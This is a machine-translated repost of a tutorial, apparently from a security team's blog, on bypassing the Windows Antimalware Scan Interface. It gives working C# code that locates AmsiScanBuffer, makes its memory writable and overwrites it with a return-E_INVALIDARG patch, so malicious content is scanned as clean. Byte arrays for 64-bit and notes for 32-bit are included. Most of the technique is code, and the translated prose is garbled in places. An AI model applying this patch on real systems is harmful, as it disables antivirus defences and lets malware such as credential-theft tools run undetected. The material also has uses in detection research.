当前位置:网站首页>Memory patch amsi bypass
Memory patch amsi bypass
2022-06-23 20:43:00 【Khan security team】
What is? AMSI?
back Malware scanning interface It's a group. Windows API, Allow any application to integrate with anti-virus products ( Suppose the product acts as AMSI Provider ). With many third parties AV The solution is the same ,Windows Defender Act naturally as AMSI provider .
In short ,AMSI Act as an application and AV The bridge between engines . With PowerShell For example —— When the user tries to execute any code ,PowerShell It will be submitted to before execution AMSI. If AV The engine thinks its content is malicious ,AMSI This content will be reported and PowerShell The code will not run . For script based malware that runs in memory and never touches disk , This is a good solution .
Any application developer can use AMSI Scan user supplied input .
amsi.dll
To AMSI Applications that submit samples , It must amsi.dll Load into its address space and call from the DLL A series of exported AMSI API. We can use APIMonitor And so on To hook PowerShell And monitor what it calls API. According to the order , These are usually :
- AmsiInitialize – initialization AMSI API.
- AmsiOpenSession – Used to associate multiple scan requests .
- AmsiScanBuffer – Scan user input .
- AmsiCloseSession – Close session .
- AmsiUninitialize – Delete AMSI API example .
We can use some convenient P/Invoke stay C# Copy it in .
using System;
using System.Runtime.InteropServices;
namespace ConsoleApp
{
class Program
{
static void Main(string[] args)
{
}
[DllImport("amsi.dll")]
static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);
[DllImport("amsi.dll")]
static extern IntPtr AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);
[DllImport("amsi.dll")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr session, out AMSI_RESULT result);
enum AMSI_RESULT
{
AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768
}
}
}All we have to do is initialize AMSI, Open a new session and send a sample to it .
// Initialise AMSI and open a session
AmsiInitialize("TestApp", out IntPtr amsiContext);
AmsiOpenSession(amsiContext, out IntPtr amsiSession);
// Read Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
// Scan Rubeus
AmsiScanBuffer(amsiContext, rubeus, (uint)rubeus.Length, "Rubeus", amsiSession, out AMSI_RESULT amsiResult);
// Print result
Console.WriteLine(amsiResult);This gives us the result AMSI_RESULT_DETECTED.
Memory patching
Process Hacker And other tools will display amsi.dll It is AMSI Load into the process after initialization . To overwrite a function in memory , for example AmsiScanBuffer, We need to get its location in memory .
We can start by using .NET System.Diagnostics Class search amsi.dll The base address , And then call GetProcAddress API To achieve this .
var modules = Process.GetCurrentProcess().Modules;
var hAmsi = IntPtr.Zero;
foreach (ProcessModule module in modules)
{
if (module.ModuleName == "amsi.dll")
{
hAmsi = module.BaseAddress;
break;
}
}
var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");As far as I'm concerned , AmsiScanBuffer be located 0x00007ffe26aa35e0. By viewing and amsi.dll Associated memory address , You can confirm that it is located in the main... Of the module RX In the area .
To override instructions in this area , We need to use VirtualProtect Make it writable .
var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
// Set region to RWX
VirtualProtect(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect);
// Copy garbage bytes
Marshal.Copy(garbage, 0, asb, garbage.Length);
// Retore region to RX
VirtualProtect(asb, (UIntPtr)garbage.Length, oldProtect, out uint _);then , You will see a lot of... In this memory area A, And allow applications to call AmsiScanBuffer Will cause the process to crash ( Because obviously A Not a valid instruction ).
We can put countless instructions here . The general idea is to change behavior to prevent AmsiScanBuffer Returns a positive result .
Use IDA Wait for tool analysis DLL Can provide some ideas .
AmsiScanBuffer One thing to do is to check the parameters provided to it . If it finds an invalid parameter , It branches to loc_1800036B5. ad locum , It will 0x80070057 Move to eax in , Bypass the branch that is actually scanned and returned .
80070057 It's a HRESULT Return code by E_INVALIDARG.
We can cover AmsiScanBuffer To replicate this behavior :
mov eax, 0x80070057 ret
defuse.ca There is a useful tool for converting assemblies to hexadecimal and byte arrays .
instead of var The garbage :
var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };This will lead to AmsiScanBuffer The return code of is E_INVALIDARG, But the actual scanning result is 0 - Usually interpreted as AMSI_RESULT_CLEAN.
It seems that no application actually checks whether the return code is not S_OK, And as long as the scanning result itself is not equal to or greater than 32768 Will continue to load the content —— It must be PowerShell and .NET The case of .
The above applies to 64 position , but 32 The assembly required for the bit is slightly different due to the way data is returned on the stack .
mov eax, 0x80070057 ret 0x18
边栏推荐
- How do I open an account? Is it safe to open an account in Guohai Securities? What do you need to bring?
- How to build a personal cloud game server? How many games can the cloud game platform install?
- Application of MySQL time function, simple problem
- 小程序开发框架推荐
- 【白话技术】二维码
- What is the difference between a database and a cloud disk drive? What functions can cloud disk drives achieve?
- JS takes two decimal places
- 35 year old crisis? It has become a synonym for programmers
- Configure two databases in master-slave database mode (master and slave)
- 想开个户,在股票网上开户安全吗?资金会被骗走吗?
猜你喜欢

Crise de 35 ans? Le volume intérieur est devenu synonyme de programmeur...

Daily question brushing record (II)

JS高级程序设计第 4 版:生成器的学习

UGeek大咖说 | 可观测之超融合存储系统的应用与设计

Can the biggest gamefi crash victim survive the bear market in May| May Monthly Report

Use of the vs2022scanf function. An error is reported when using scanf - the return value is ignored: Solutions

Tupu software digital twin intelligent water service, breaking through the development dilemma of sponge City

Technology sharing | wvp+zlmediakit realizes streaming playback of camera gb28181

Importance and purpose of test

UST 崩盘后,稳定币市场格局将迎来新机遇?
随机推荐
Kinsoku jikou desu新浪股票接口变动
[golang] reexamine closures from the perspective of go language
[open source] goravel (golang Web Framework) - new cache module
【Golang】快速复习指南QuickReview(一)——字符串string
Teach you how to develop desktop applications with web pages
[golang] how to realize real-time hot update of Go program
35歲危機?內卷成程序員代名詞了…
同花顺网上开户安全吗,佣金高不高
December 29, 2021: the elimination rules of a subsequence are as follows: 1. In a subsequence
ntpupdate. tencentyun. Com has been eliminated
Implementing MySQL fuzzy search with node and express
35 year old crisis? It has become a synonym for programmers
How to install SSL certificates in Microsoft Exchange 2010
How to dispose of the words on the picture? How do I add text to a picture?
Logstash start -r parameter
vs2022scanf函数的使用,使用scanf的报错-返回值被忽略:解决·方法
Is Guoyuan futures trading software formal? How to download safely?
Implementation of flashback query for PostgreSQL database compatible with Oracle Database
Eight misunderstandings, broken one by one (final): the cloud is difficult to expand, the customization is poor, and the administrator will lose control?
[golang] use go language to operate etcd - configuration center